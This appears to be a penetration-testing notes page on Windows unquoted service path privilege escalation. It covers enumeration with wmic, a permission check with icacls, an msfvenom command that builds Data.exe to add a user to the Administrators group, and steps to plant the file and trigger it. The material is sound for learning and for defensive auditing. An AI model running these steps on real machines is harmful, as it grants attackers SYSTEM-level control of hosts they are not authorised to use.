> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/service-enumeration/unqutoted-service-path.md).

# Unqutoted Service Path

**Unquoted Service Path Vulnerability** occurs when the binary path of a Windows service contains spaces and is not enclosed in quotes (`"`). This can allow an attacker to place a malicious executable in one of the earlier resolved paths, leading to code execution with elevated privileges.

***

### Enumeration: Finding Vulnerable Unquoted Paths

#### Command to find unquoted service paths:

```cmd
wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
```

This filters:

* Auto-start services
* Paths not located in `C:\Windows\`
* Services without quotes around the path

#### Example Output:

```
C:\Program Files\NETGATE\Data Backup\DataBackupSrv.exe
```

***

### Vulnerability Explained

When a service path is unquoted and includes spaces, Windows interprets it as:

```
C:\Program.exe
C:\Program Files\NETGATE\Data.exe
C:\Program Files\NETGATE\Data Backup\DataBackupSrv.exe
```

If `C:\Program Files\NETGATE\` is writable, an attacker can drop a binary named `Data.exe`, which will be executed with the service's privileges—typically **NT AUTHORITY\SYSTEM**.

***

### Exploitation Steps

#### Locate the Writable Directory

Check if the path (e.g., `C:\Program Files\NETGATE\`) is writable. Use tools like:

```cmd
icacls "C:\Program Files\NETGATE\"
```

#### Generate Malicious EXE

Create a payload that adds a new user to the Administrators group:

```bash
msfvenom -p windows/exec CMD="net localgroup Administrators u2 /add" -f exe -o Data.exe
```

#### Upload the Payload

Place the `Data.exe` in the vulnerable directory:

```
C:\Program Files\NETGATE\Data.exe
```

#### Trigger Execution

* Reboot the system (if the service starts on boot), or
* Manually restart the service (if possible)

***

### Example

* [Exploit-DB #40541](https://www.exploit-db.com/exploits/40541)